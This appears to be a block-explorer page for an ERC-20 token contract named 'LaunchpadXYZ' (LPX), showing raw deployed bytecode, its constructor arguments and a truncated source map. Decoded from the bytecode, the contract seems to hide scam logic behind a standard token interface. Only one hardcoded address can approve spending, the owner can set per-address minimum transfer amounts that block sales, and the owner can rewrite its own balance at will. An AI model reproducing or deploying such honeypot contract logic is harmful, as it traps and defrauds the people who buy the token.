0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063db6fc5fc11610071578063db6fc5fc146102f7578063dd62ed3e14610313578063ed58356214610343578063f2fde38b14610373578063ffa1ad741461038f57610116565b80638da5cb5b1461025b57806395d89b4114610279578063a457c2d714610297578063a9059cbb146102c757610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d357806339509351146101f157806370a0823114610221578063715018a61461025157610116565b806306fdde031461011b578063076c1e6914610139578063095ea7b31461015557806318160ddd14610185575b600080fd5b6101236103ad565b6040516101309190611752565b60405180910390f35b610153600480360381019061014e919061135e565b61043f565b005b61016f600480360381019061016a919061135e565b610503565b60405161017c9190611737565b60405180910390f35b61018d610521565b60405161019a9190611874565b60405180910390f35b6101bd60048036038101906101b8919061130f565b61052b565b6040516101ca9190611737565b60405180910390f35b6101db610604565b6040516101e8919061188f565b60405180910390f35b61020b6004803603810190610206919061135e565b61061b565b6040516102189190611737565b60405180910390f35b61023b600480360381019061023691906112aa565b6106ce565b6040516102489190611874565b60405180910390f35b610259610717565b005b61026361079f565b604051610270919061171c565b60405180910390f35b6102816107c8565b60405161028e9190611752565b60405180910390f35b6102b160048036038101906102ac919061135e565b61085a565b6040516102be9190611737565b60405180910390f35b6102e160048036038101906102dc919061135e565b610927565b6040516102ee9190611737565b60405180910390f35b610311600480360381019061030c919061139a565b610945565b005b61032d600480360381019061032891906112d3565b610a0f565b60405161033a9190611874565b60405180910390f35b61035d600480360381019061035891906112aa565b610a96565b60405161036a9190611874565b60405180910390f35b61038d600480360381019061038891906112aa565b610adf565b005b610397610bd7565b6040516103a49190611874565b60405180910390f35b6060600480546103bc906119a4565b80601f01602080910402602001604051908101604052809291908181526020018280546103e8906119a4565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b610447610bf2565b73ffffffffffffffffffffffffffffffffffffffff1661046561079f565b73ffffffffffffffffffffffffffffffffffffffff16146104bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b290611814565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000610517610510610bf2565b8484610bfa565b6001905092915050565b6000600754905090565b6000610538848484610e47565b6105f984610544610bf2565b6105f485604051806060016040528060288152602001611a9a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105aa610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111629092919063ffffffff16565b610bfa565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006106c4610628610bf2565b846106bf8560026000610639610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b610bfa565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61071f610bf2565b73ffffffffffffffffffffffffffffffffffffffff1661073d61079f565b73ffffffffffffffffffffffffffffffffffffffff1614610793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078a90611814565b60405180910390fd5b61079d60006111b7565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107d7906119a4565b80601f0160208091040260200160405190810160405280929190818152602001828054610803906119a4565b80156108505780601f1061082557610100808354040283529160200191610850565b820191906000526020600020905b81548152906001019060200180831161083357829003601f168201915b5050505050905090565b600061091d610867610bf2565b8461091885604051806060016040528060258152602001611ac26025913960026000610891610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111629092919063ffffffff16565b610bfa565b6001905092915050565b600061093b610934610bf2565b8484610e47565b6001905092915050565b61094d610bf2565b73ffffffffffffffffffffffffffffffffffffffff1661096b61079f565b73ffffffffffffffffffffffffffffffffffffffff16146109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b890611814565b60405180910390fd5b80600160006109ce61079f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ae7610bf2565b73ffffffffffffffffffffffffffffffffffffffff16610b0561079f565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5290611814565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc290611794565b60405180910390fd5b610bd4816111b7565b50565b600181565b60008183610bea91906118c6565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6190611854565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd1906117b4565b60405180910390fd5b73c73a93b64ca19a4f144b850862afaafb0083843b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d53906117f4565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e3a9190611874565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eae90611834565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e90611774565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa0906117d4565b60405180910390fd5b610fb483838361127b565b61102081604051806060016040528060268152602001611a7460269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111629092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110b581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111559190611874565b60405180910390a3505050565b60008383111582906111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a19190611752565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60008135905061128f81611a45565b92915050565b6000813590506112a481611a5c565b92915050565b6000602082840312156112bc57600080fd5b60006112ca84828501611280565b91505092915050565b600080604083850312156112e657600080fd5b60006112f485828601611280565b925050602061130585828601611280565b9150509250929050565b60008060006060848603121561132457600080fd5b600061133286828701611280565b935050602061134386828701611280565b925050604061135486828701611295565b9150509250925092565b6000806040838503121561137157600080fd5b600061137f85828601611280565b925050602061139085828601611295565b9150509250929050565b6000602082840312156113ac57600080fd5b60006113ba84828501611295565b91505092915050565b6113cc8161191c565b82525050565b6113db8161192e565b82525050565b60006113ec826118aa565b6113f681856118b5565b9350611406818560208601611971565b61140f81611a34565b840191505092915050565b60006114276023836118b5565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061148d6026836118b5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114f36022836118b5565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115596033836118b5565b91507f45524332303a207472616e7366657220616d6f756e74206973206c657373207460008301527f68616e206d696e696d756d20616c6c6f776564000000000000000000000000006020830152604082019050919050565b60006115bf601c836118b5565b91507f45524332303a206f7065726174696f6e206e6f7420616c6c6f776564000000006000830152602082019050919050565b60006115ff6020836118b5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061163f6025836118b5565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116a56024836118b5565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6117078161195a565b82525050565b61171681611964565b82525050565b600060208201905061173160008301846113c3565b92915050565b600060208201905061174c60008301846113d2565b92915050565b6000602082019050818103600083015261176c81846113e1565b905092915050565b6000602082019050818103600083015261178d8161141a565b9050919050565b600060208201905081810360008301526117ad81611480565b9050919050565b600060208201905081810360008301526117cd816114e6565b9050919050565b600060208201905081810360008301526117ed8161154c565b9050919050565b6000602082019050818103600083015261180d816115b2565b9050919050565b6000602082019050818103600083015261182d816115f2565b9050919050565b6000602082019050818103600083015261184d81611632565b9050919050565b6000602082019050818103600083015261186d81611698565b9050919050565b600060208201905061188960008301846116fe565b92915050565b60006020820190506118a4600083018461170d565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118d18261195a565b91506118dc8361195a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611911576119106119d6565b5b828201905092915050565b60006119278261193a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561198f578082015181840152602081019050611974565b8381111561199e576000848401525b50505050565b600060028204905060018216806119bc57607f821691505b602082108114156119d0576119cf611a05565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611a4e8161191c565b8114611a5957600080fd5b50565b611a658161195a565b8114611a7057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220defd511672306b18e00fbea14f998d398e06fd06cdf995bbbe433e6dfaf2fe0464736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000033b2e3c9fd0803ce8000000000000000000000000000000000000000000000000000000000000000000000c4c61756e636870616458595a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034c50580000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): LaunchpadXYZ
Arg [1] : symbol_ (string): LPX
Arg [2] : decimals_ (uint8): 18
Arg [3] : totalSupply_ (uint256): 1000000000000000000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [5] : 4c61756e636870616458595a0000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 4c50580000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5033:5891:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6184:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5855:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7221:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6485:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7439:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6386:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7901:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6601:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1497:94;;;:::i;:::-;;1274:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6283:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8209:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6786:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6077:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7010:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5970:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1599:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5118:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6184:91;6229:13;6262:5;6255:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6184:91;:::o;5855:107::-;1420:12;:10;:12::i;:::-;1409:23;;:7;:5;:7::i;:::-;:23;;;1401:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5948:6:::1;5932:4;:13;5937:7;5932:13;;;;;;;;;;;;;;;:22;;;;5855:107:::0;;:::o;7221:210::-;7340:4;7362:39;7371:12;:10;:12::i;:::-;7385:7;7394:6;7362:8;:39::i;:::-;7419:4;7412:11;;7221:210;;;;:::o;6485:108::-;6546:7;6573:12;;6566:19;;6485:108;:::o;7439:454::-;7579:4;7596:36;7606:6;7614:9;7625:6;7596:9;:36::i;:::-;7643:220;7666:6;7687:12;:10;:12::i;:::-;7714:138;7770:6;7714:138;;;;;;;;;;;;;;;;;:11;:19;7726:6;7714:19;;;;;;;;;;;;;;;:33;7734:12;:10;:12::i;:::-;7714:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7643:8;:220::i;:::-;7881:4;7874:11;;7439:454;;;;;:::o;6386:91::-;6435:5;6460:9;;;;;;;;;;;6453:16;;6386:91;:::o;7901:300::-;8016:4;8038:133;8061:12;:10;:12::i;:::-;8088:7;8110:50;8149:10;8110:11;:25;8122:12;:10;:12::i;:::-;8110:25;;;;;;;;;;;;;;;:34;8136:7;8110:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8038:8;:133::i;:::-;8189:4;8182:11;;7901:300;;;;:::o;6601:177::-;6720:7;6752:9;:18;6762:7;6752:18;;;;;;;;;;;;;;;;6745:25;;6601:177;;;:::o;1497:94::-;1420:12;:10;:12::i;:::-;1409:23;;:7;:5;:7::i;:::-;:23;;;1401:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1562:21:::1;1580:1;1562:9;:21::i;:::-;1497:94::o:0;1274:87::-;1320:7;1347:6;;;;;;;;;;;1340:13;;1274:87;:::o;6283:95::-;6330:13;6363:7;6356:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6283:95;:::o;8209:400::-;8329:4;8351:228;8374:12;:10;:12::i;:::-;8401:7;8423:145;8480:15;8423:145;;;;;;;;;;;;;;;;;:11;:25;8435:12;:10;:12::i;:::-;8423:25;;;;;;;;;;;;;;;:34;8449:7;8423:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;8351:8;:228::i;:::-;8597:4;8590:11;;8209:400;;;;:::o;6786:216::-;6908:4;6930:42;6940:12;:10;:12::i;:::-;6954:9;6965:6;6930:9;:42::i;:::-;6990:4;6983:11;;6786:216;;;;:::o;6077:97::-;1420:12;:10;:12::i;:::-;1409:23;;:7;:5;:7::i;:::-;:23;;;1401:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6161:5:::1;6140:9;:18;6150:7;:5;:7::i;:::-;6140:18;;;;;;;;;;;;;;;:26;;;;6077:97:::0;:::o;7010:201::-;7144:7;7176:11;:18;7188:5;7176:18;;;;;;;;;;;;;;;:27;7195:7;7176:27;;;;;;;;;;;;;;;;7169:34;;7010:201;;;;:::o;5970:101::-;6023:7;6050:4;:13;6055:7;6050:13;;;;;;;;;;;;;;;;6043:20;;5970:101;;;:::o;1599:192::-;1420:12;:10;:12::i;:::-;1409:23;;:7;:5;:7::i;:::-;:23;;;1401:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1708:1:::1;1688:22;;:8;:22;;;;1680:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1764:19;1774:8;1764:9;:19::i;:::-;1599:192:::0;:::o;5118:35::-;5152:1;5118:35;:::o;3354:98::-;3412:7;3443:1;3439;:5;;;;:::i;:::-;3432:12;;3354:98;;;;:::o;829:::-;882:7;909:10;902:17;;829:98;:::o;10178:504::-;10331:1;10314:19;;:5;:19;;;;10306:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10412:1;10393:21;;:7;:21;;;;10385:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10481:42;10472:51;;:5;:51;;;10464:92;;;;;;;;;;;;:::i;:::-;;;;;;;;;10605:6;10575:11;:18;10587:5;10575:18;;;;;;;;;;;;;;;:27;10594:7;10575:27;;;;;;;;;;;;;;;:36;;;;10643:7;10627:32;;10636:5;10627:32;;;10652:6;10627:32;;;;;;:::i;:::-;;;;;;;;10178:504;;;:::o;8615:708::-;8773:1;8755:20;;:6;:20;;;;8747:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8857:1;8836:23;;:9;:23;;;;8828:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8928:4;:12;8933:6;8928:12;;;;;;;;;;;;;;;;8918:6;:22;;8910:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;9010:47;9031:6;9039:9;9050:6;9010:20;:47::i;:::-;9090:108;9126:6;9090:108;;;;;;;;;;;;;;;;;:9;:17;9100:6;9090:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;9070:9;:17;9080:6;9070:17;;;;;;;;;;;;;;;:128;;;;9232:32;9257:6;9232:9;:20;9242:9;9232:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9209:9;:20;9219:9;9209:20;;;;;;;;;;;;;;;:55;;;;9297:9;9280:35;;9289:6;9280:35;;;9308:6;9280:35;;;;;;:::i;:::-;;;;;;;;8615:708;;;:::o;3884:240::-;4004:7;4062:1;4057;:6;;4065:12;4049:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4104:1;4100;:5;4093:12;;3884:240;;;;;:::o;1799:173::-;1855:16;1874:6;;;;;;;;;;;1855:25;;1900:8;1891:6;;:17;;;;;;;;;;;;;;;;;;1955:8;1924:40;;1945:8;1924:40;;;;;;;;;;;;1799:173;;:::o;10796:125::-;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:262::-;;2057:2;2045:9;2036:7;2032:23;2028:32;2025:2;;;2073:1;2070;2063:12;2025:2;2116:1;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2087:117;2015:196;;;;:::o;2217:118::-;2304:24;2322:5;2304:24;:::i;:::-;2299:3;2292:37;2282:53;;:::o;2341:109::-;2422:21;2437:5;2422:21;:::i;:::-;2417:3;2410:34;2400:50;;:::o;2456:364::-;;2572:39;2605:5;2572:39;:::i;:::-;2627:71;2691:6;2686:3;2627:71;:::i;:::-;2620:78;;2707:52;2752:6;2747:3;2740:4;2733:5;2729:16;2707:52;:::i;:::-;2784:29;2806:6;2784:29;:::i;:::-;2779:3;2775:39;2768:46;;2548:272;;;;;:::o;2826:367::-;;2989:67;3053:2;3048:3;2989:67;:::i;:::-;2982:74;;3086:34;3082:1;3077:3;3073:11;3066:55;3152:5;3147:2;3142:3;3138:12;3131:27;3184:2;3179:3;3175:12;3168:19;;2972:221;;;:::o;3199:370::-;;3362:67;3426:2;3421:3;3362:67;:::i;:::-;3355:74;;3459:34;3455:1;3450:3;3446:11;3439:55;3525:8;3520:2;3515:3;3511:12;3504:30;3560:2;3555:3;3551:12;3544:19;;3345:224;;;:::o;3575:366::-;;3738:67;3802:2;3797:3;3738:67;:::i;:::-;3731:74;;3835:34;3831:1;3826:3;3822:11;3815:55;3901:4;3896:2;3891:3;3887:12;3880:26;3932:2;3927:3;3923:12;3916:19;;3721:220;;;:::o;3947:383::-;;4110:67;4174:2;4169:3;4110:67;:::i;:::-;4103:74;;4207:34;4203:1;4198:3;4194:11;4187:55;4273:21;4268:2;4263:3;4259:12;4252:43;4321:2;4316:3;4312:12;4305:19;;4093:237;;;:::o;4336:326::-;;4499:67;4563:2;4558:3;4499:67;:::i;:::-;4492:74;;4596:30;4592:1;4587:3;4583:11;4576:51;4653:2;4648:3;4644:12;4637:19;;4482:180;;;:::o;4668:330::-;;4831:67;4895:2;4890:3;4831:67;:::i;:::-;4824:74;;4928:34;4924:1;4919:3;4915:11;4908:55;4989:2;4984:3;4980:12;4973:19;;4814:184;;;:::o;5004:369::-;;5167:67;5231:2;5226:3;5167:67;:::i;:::-;5160:74;;5264:34;5260:1;5255:3;5251:11;5244:55;5330:7;5325:2;5320:3;5316:12;5309:29;5364:2;5359:3;5355:12;5348:19;;5150:223;;;:::o;5379:368::-;;5542:67;5606:2;5601:3;5542:67;:::i;:::-;5535:74;;5639:34;5635:1;5630:3;5626:11;5619:55;5705:6;5700:2;5695:3;5691:12;5684:28;5738:2;5733:3;5729:12;5722:19;;5525:222;;;:::o;5753:118::-;5840:24;5858:5;5840:24;:::i;:::-;5835:3;5828:37;5818:53;;:::o;5877:112::-;5960:22;5976:5;5960:22;:::i;:::-;5955:3;5948:35;5938:51;;:::o;5995:222::-;;6126:2;6115:9;6111:18;6103:26;;6139:71;6207:1;6196:9;6192:17;6183:6;6139:71;:::i;:::-;6093:124;;;;:::o;6223:210::-;;6348:2;6337:9;6333:18;6325:26;;6361:65;6423:1;6412:9;6408:17;6399:6;6361:65;:::i;:::-;6315:118;;;;:::o;6439:313::-;;6590:2;6579:9;6575:18;6567:26;;6639:9;6633:4;6629:20;6625:1;6614:9;6610:17;6603:47;6667:78;6740:4;6731:6;6667:78;:::i;:::-;6659:86;;6557:195;;;;:::o;6758:419::-;;6962:2;6951:9;6947:18;6939:26;;7011:9;7005:4;7001:20;6997:1;6986:9;6982:17;6975:47;7039:131;7165:4;7039:131;:::i;:::-;7031:139;;6929:248;;;:::o;7183:419::-;;7387:2;7376:9;7372:18;7364:26;;7436:9;7430:4;7426:20;7422:1;7411:9;7407:17;7400:47;7464:131;7590:4;7464:131;:::i;:::-;7456:139;;7354:248;;;:::o;7608:419::-;;7812:2;7801:9;7797:18;7789:26;;7861:9;7855:4;7851:20;7847:1;7836:9;7832:17;7825:47;7889:131;8015:4;7889:131;:::i;:::-;7881:139;;7779:248;;;:::o;8033:419::-;;8237:2;8226:9;8222:18;8214:26;;8286:9;8280:4;8276:20;8272:1;8261:9;8257:17;8250:47;8314:131;8440:4;8314:131;:::i;:::-;8306:139;;8204:248;;;:::o;8458:419::-;;8662:2;8651:9;8647:18;8639:26;;8711:9;8705:4;8701:20;8697:1;8686:9;8682:17;8675:47;8739:131;8865:4;8739:131;:::i;:::-;8731:139;;8629:248;;;:::o;8883:419::-;;9087:2;9076:9;9072:18;9064:26;;9136:9;9130:4;9126:20;9122:1;9111:9;9107:17;9100:47;9164:131;9290:4;9164:131;:::i;:::-;9156:139;;9054:248;;;:::o;9308:419::-;;9512:2;9501:9;9497:18;9489:26;;9561:9;9555:4;9551:20;9547:1;9536:9;9532:17;9525:47;9589:131;9715:4;9589:131;:::i;:::-;9581:139;;9479:248;;;:::o;9733:419::-;;9937:2;9926:9;9922:18;9914:26;;9986:9;9980:4;9976:20;9972:1;9961:9;9957:17;9950:47;10014:131;10140:4;10014:131;:::i;:::-;10006:139;;9904:248;;;:::o;10158:222::-;;10289:2;10278:9;10274:18;10266:26;;10302:71;10370:1;10359:9;10355:17;10346:6;10302:71;:::i;:::-;10256:124;;;;:::o;10386:214::-;;10513:2;10502:9;10498:18;10490:26;;10526:67;10590:1;10579:9;10575:17;10566:6;10526:67;:::i;:::-;10480:120;;;;:::o;10606:99::-;;10692:5;10686:12;10676:22;;10665:40;;;:::o;10711:169::-;;10829:6;10824:3;10817:19;10869:4;10864:3;10860:14;10845:29;;10807:73;;;;:::o;10886:305::-;;10945:20;10963:1;10945:20;:::i;:::-;10940:25;;10979:20;10997:1;10979:20;:::i;:::-;10974:25;;11133:1;11065:66;11061:74;11058:1;11055:81;11052:2;;;11139:18;;:::i;:::-;11052:2;11183:1;11180;11176:9;11169:16;;10930:261;;;;:::o;11197:96::-;;11263:24;11281:5;11263:24;:::i;:::-;11252:35;;11242:51;;;:::o;11299:90::-;;11376:5;11369:13;11362:21;11351:32;;11341:48;;;:::o;11395:126::-;;11472:42;11465:5;11461:54;11450:65;;11440:81;;;:::o;11527:77::-;;11593:5;11582:16;;11572:32;;;:::o;11610:86::-;;11685:4;11678:5;11674:16;11663:27;;11653:43;;;:::o;11702:307::-;11770:1;11780:113;11794:6;11791:1;11788:13;11780:113;;;11879:1;11874:3;11870:11;11864:18;11860:1;11855:3;11851:11;11844:39;11816:2;11813:1;11809:10;11804:15;;11780:113;;;11911:6;11908:1;11905:13;11902:2;;;11991:1;11982:6;11977:3;11973:16;11966:27;11902:2;11751:258;;;;:::o;12015:320::-;;12096:1;12090:4;12086:12;12076:22;;12143:1;12137:4;12133:12;12164:18;12154:2;;12220:4;12212:6;12208:17;12198:27;;12154:2;12282;12274:6;12271:14;12251:18;12248:38;12245:2;;;12301:18;;:::i;:::-;12245:2;12066:269;;;;:::o;12341:180::-;12389:77;